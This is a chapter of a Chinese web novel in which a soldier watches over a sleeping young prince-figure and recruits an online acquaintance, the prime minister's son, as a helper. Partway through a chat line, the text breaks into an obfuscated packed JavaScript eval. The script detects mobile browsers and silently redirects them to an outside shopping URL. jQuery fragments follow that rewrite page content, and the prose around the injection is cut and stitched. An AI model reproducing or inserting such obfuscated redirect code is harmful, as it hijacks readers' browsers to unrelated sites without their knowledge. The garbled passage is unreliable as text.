17. 第十七章 帮手

作品:《殉国太监穿越成虫族军雌

    开始步入成年期的小雄虫会变得嗜睡,往往还会出现发热、暴汗,这是正常现象——这是雄虫成长的过程。


    所以直到第二天中午,文森还在睡梦中,克莱并没有叫醒他。


    机器管家亦被下达了不许打扰的命令,于是十分安静地在房外候命。


    克莱在天亮前小憩了一会儿,他醒来后帮文森擦了擦身上的汗,然后悄然起身,文森的手不知何时又轻轻拽住了克莱的衣角。


    克莱小心翼翼抬起他的手,留意着不惊扰到他的小殿下,然后温柔地抽离……


    睡梦中的少年雄虫微微皱了皱眉,继续沉入到了梦境,他额间的虫纹如同紫金色的细藤蔓,无声地生长,一夜间竟已有了清晰的大致轮廓。


    按理说雄虫从开始长虫纹到虫纹完整长成定型,通常需要一年,甚至两年的时间,而文森的虫纹的生长未免太过迅速了些。


    克莱不禁想起昨日契约缔结时,忽然出现涌入他精神海的那股诡异又强大的精神力——


    克莱垂眸望向床上睡熟的雄虫,明明十八岁却一直迟迟没有分化,还有他身后怪异的尾根,类似古老图腾的印记,以及大皇子和沙特虫族为何会需要文森的血……


    敏锐如克莱能感觉到,这其中有着丝丝缕缕的关联,但他无法去预知,这对于文森到底是好事,还是坏事。


    只是下意识地,克莱会选择为文森保守秘密。


    这是一种出于本能的保护,毕竟,文森目前只是一只刚被赶出皇廷,看起来无权无势,从另一个层面说,也就是没有什么威胁性的F级小雄虫。


    低调,往往是最好的伪装。


    这个道理,克莱在上一世还是小太监时就懂得了,老太监说,弓打出头的鸟,年幼的小皇子对着书念着“木秀于林风必摧之”。


    而于克莱而言,文森身上的秘密,他也并没有那么好奇,他只在意,自己的小殿下会不会因此,再次受到伤害。


    清晨的阳光透过窗帘的缝隙,点点洒在少年雄虫缓缓舒展的眉间,那脸颊左右的黑斑好似一夜间也淡了不少。


    既然离开了折磨他的皇廷,为何不能为他开启全新的,简单快乐平和的生活呢?


    或许,我的能力要再强一些,我的等级再高一些,才可以更好的保护你——


    而不是若曾经那个死在皇宫阶前的太监,只能眼睁睁的……


    克莱轻轻抬手,帮还在熟睡的小雄虫把发丝拨到耳后,指尖擦过少年微微发热的耳廓,文森还闭着眼睛的睫毛颤了一下。


    克莱先给光脑指令,让机器管家给文森准备好一顿丰盛的虫族午饭,然后他坐在了沙发边,一边持续关注矿区资源要地战场前线的战况,一边一刻不停地着手处理那似乎永远连绵不绝的邮件和公务。


    与此同时,他估摸着身为皇廷近卫军长官的聂盖特起床的时间,拉开了另一个浮动光屏,登录了虫网的个虫联络终端“虫讯”的界面,在“虫讯”的常联系虫列表里找到了头上一对触角的熟悉头像,发送过去了加密留言——


    “聂盖特叔叔,最近有空,方便我去您家拜访一下吗?昨天在皇廷麻烦您了,我在瓦利克星买了一些土特产,有你之前一直想要的骨蝶虫螺号角,刚好带给您。”


    虫螺号角是一种类似高脚杯的器皿,收集各式各样的虫螺号角,是聂盖特的一大好爱。


    很快,“虫讯”上“叮”的一响,熟悉的头像弹出一个+1的回复。


    【聂盖特】:来呀,小克莱,就等你来呢,格勒弥刚好也在,这一次我们不醉不归呀!


    克莱回复着,光脑在耳边忍不住小声说道:“虫主阁下,我会提前备好解酒虫药的。”


    克莱微微抬眉,到不一定需要,他去拜访聂盖特,一来自是感谢,但更重要的是,他需要了解大皇子居所处皇廷近卫军的情况。


    若是几天前,克耶尔少将曾带着沙聂虫族去过大皇子处,保不准会留有一些蛛丝马迹。而且时间这么短,克耶尔少将,还有那个沙聂虫族未必就已离开主星,甚至都未必离开了皇廷……


    而有些话,不适合在皇廷近卫军岗亭总控制室里聊。


    和聂盖特约在了两天后,刚好休息日的中午,聂盖特的雄虫伴侣早逝,身边只有一个在皇廷当医生的亚雌孩子,叫格勒弥。


    格勒弥在皇廷工作已有快五十年,是皇廷的高阶医师长——


    克莱觉得,对于身体一直不好的大皇子,他很有可能知道些什么。


    和聂盖特有一搭没一搭的闲聊后,克莱又拉开了光屏上的“虫讯”界面,在搜索栏里输入了养父里昂特元帅给他的那个内阁首相长子的ID虫号。


    光屏上弹出一个儒雅又帅气的头像,名字显示叫“迪欧特尔”,棕发蓝眸的成年雄虫,带着贵族与生俱来的傲然,毫不掩饰的耀眼和自信,额间的V型虫纹几乎可谓是亚林格首相家族的象征,圣聂特帝国的虫族历史上,曾出过多位带着V型虫纹因杰出的政绩而虫史留名的首相。


    克莱刚发过去好友申请,对方几乎是光速通过。


    【克莱】:您好——


    【迪欧特尔】:不用那么客气,克莱少将,我等你很久了。


    迪欧特尔的回复非常快,克莱不由顿了顿,他想了想,父亲起初可能还是按相亲对象来安排,那如今他成为小皇子监护者的事,皇廷内大约都知晓了,内阁首相亚林格那边不可能没得到消息。


    礼貌起见,自己应该先道个歉。


    可克莱还在输入中,对方的信息已经来了。


    【迪欧特尔】:你千万别和我道歉,我不接受的。


    克莱在光屏上输入的手,停在半空。


    【迪欧特尔】:开个玩笑别介意//[表情:虫虫微笑]。我的意思是,你又没做错什么,没必要向我道歉,你那么做一定有你的理由,F级雄虫当然也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478966|201638||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有生存的权利,而且成为低等级雄虫的监护者是对《圣约莫新恒典》的坚守和维护。对于高等级的军雌少将,这明明是个难得又了不起的决定。


    口才很好又带着阳光气息的雄子,克莱不由让光脑查了查这位首相家的长子。


    迪欧特尔,A级雄子,曾任皇廷下属独立情报部副部长,现就职帝国法院,是最年轻的审判法官,这个就职路径,看来经后进入内阁接亚林格的班指日可待,他年长克莱两岁,被虫网誉为“智灵之辉”,在主星早已小有名气。


    还被评为“最受欢迎和雌虫最想嫁贵族虫少”排名第一位。


    不过这个排名往下有几位,克莱也认识,之前被迫应元帅要求,不得不加了联系方式,走一下相亲的过场,没有得罪虫家,也算是不错。


    元帅介绍的,总不会差哪里去,但也是克莱实在没那方面的心思。


    而克莱这一次想的,可能要多一点,毕竟,他现在需要帮手,帮忙追踪维里斯中尉的光脑,迪欧特尔既有独立情报部的追踪搜查经验,又在法院这边有根基——


    而且,元帅说过,首相亚林格可以信任,这件事务必隐秘行事,也不宜过多节外生枝让其他虫知晓。


    那么,可以说,迪欧特尔是再适合不过的帮手。


    说几句好听的话,总是一个不错的开始。


    【克莱】:谢谢你的夸赞,你能这样认为,也很难得又了不起。


    【迪欧特尔】:是吗?你用我的话来恭维我,不合适吧,克莱少将,这不像你会说的话。


    克莱挑眉,他和迪欧特尔应该之前从没有见过,光脑也可以佐证,完全没有记录和印象。


    【迪欧特尔】:我所知道的克莱少将,可是在格尔维战役中一虫当先,立下赫赫战功却从不引以为傲的优秀将领,还是每个月匿名捐十万星虫币,给帝国幼虫爱心组织的善心“无名虫”,他应该不会用客套恭维的话术,这么对待我。


    克莱不免笑了,他知道对方的身份了。


    在不缺钱后,克莱确实每个月都会匿名捐十万星虫币,给帝国幼虫爱心组织——爱心虫会,能知道他匿名身份的,应该只是这个组织的发起者,也是现任爱心虫会的会长。


    克莱曾和爱心虫会的会长通过几次邮件,邮件里有简单聊到格尔维战役。


    【克莱】:会长,不至于这样捉弄我吧?


    【迪欧特尔】:呵,这么晚才联系我,现在才认出是我,克莱,知不知道,我注意你多久了……作为补偿,你是否应该主动给我打视频电话,来场正式的网友见面呢?!


    克莱摇了摇头,文森还在睡眠中,视频电话会吵到他。


    克莱正在光屏上打字拒绝,不经意地抬眸,却发现——


    一双碧绿的眼眸,正在光屏上方无声地瞪着自己。


    不知何时醒来后站在光屏旁的少年雄虫,眼眸里很快闪过一丝凌冽的冷意。